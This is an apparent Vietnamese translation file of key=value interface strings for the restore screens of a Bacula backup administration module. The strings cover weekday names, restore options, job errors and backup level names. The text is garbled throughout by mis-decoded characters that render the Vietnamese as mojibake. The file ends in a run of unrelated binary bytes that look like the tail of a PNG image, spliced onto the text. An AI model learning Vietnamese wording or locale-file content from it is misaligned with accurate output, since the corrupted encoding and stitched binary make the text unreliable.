chooser_edaysrange=Các ngày được chá»n trong tháng phải liá»n ká» nhau

weekdaynum_1=Äầu tiên
weekdaynum_2=Thứ hai
weekdaynum_3=Ngày thứ ba
weekdaynum_4=Thứ tư
weekdaynum_5=Thứ năm

restore_title=Khôi phục lại bản sao lưu
restore_title2=Khôi phục sao lưu vào nhóm Bacula
restore_title3=Khôi phục sao lưu nhóm Bacula
restore_header=Tùy chá»n khôi phục công việc sao lưu trước đó
restore_job=Công việc khôi phục
restore_files=Tập tin để khôi phục
restore_client=Khôi phục lại máy khách hoặc nhóm
restore_storage=Khôi phục từ thiết bị lưu trữ
restore_where=Khôi phục lại thư mục
restore_where2=Thư mục gốc khác
restore_ewhere=Thiếu thư mục để khôi phục lại
restore_ok=Khôi phục ngay
restore_err=Không thể khôi phục bản sao lưu
restore_efiles=Không có tập tin nào được nhập
restore_ejob=ID công việc không hợp lệ
restore_ejobfiles=Không có tập tin nào được ghi nhận cho công việc
restore_run=Bắt đầu khôi phục công việc $1 cho khách hàng $2 từ bộ lưu trữ $3 ..
restore_return=khôi phục lại hình thức
restore_eok=.. công việc không thể bắt đầu
restore_running=.. khôi phục đang chạy. Khi hoàn thành, kết quả sẽ được hiển thị bên dưới ..
restore_running2=.. khôi phục đã được bắt đầu trong ná»n.
restore_done=.. khôi phục hoàn tất.
restore_failed=.. việc khôi phục không hoàn thành. Kiểm tra thông báo lỗi ở trên để biết chi tiết.
restore_clist=- Khách hàng--
restore_glist=- Nhóm nhóm--
restore_eclient=Không có khách hàng hoặc nhóm Bacula được chá»n
restore_egroup=Nhóm Bacula không tồn tại
restore_jlist=- Công việc hệ thống đơn lẻ--
restore_njlist=- Nhóm công việc của nhóm -
restore_all=- Tất cả khách hàng trong nhóm--
restore_eclients=Không tìm thấy thành viên của nhóm sao lưu Bacula!
restore_eall1=Tùy chá»n <b>Tất cả khách hàng trong Sao lưu</b> phải được chá»n cho <b>Khôi phục vá» máy khách hoặc nhóm</b> khi thá»±c hiện khôi phục công việc nhóm Bacula
restore_eall2=Tùy chá»n <b>Tất cả khách hàng trong Sao lưu</b> chỉ có thể được chá»n cho <b>Khôi phục vá» máy khách hoặc nhóm</b> khi thá»±c hiện khôi phục công việc nhóm Bacula
restore_enofiles=Không có tệp nào được chá»n trong bản sao lưu
restore_level_F=Äầy
restore_level_D=Chênh lệch
restore_level_I=Tăng dần
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚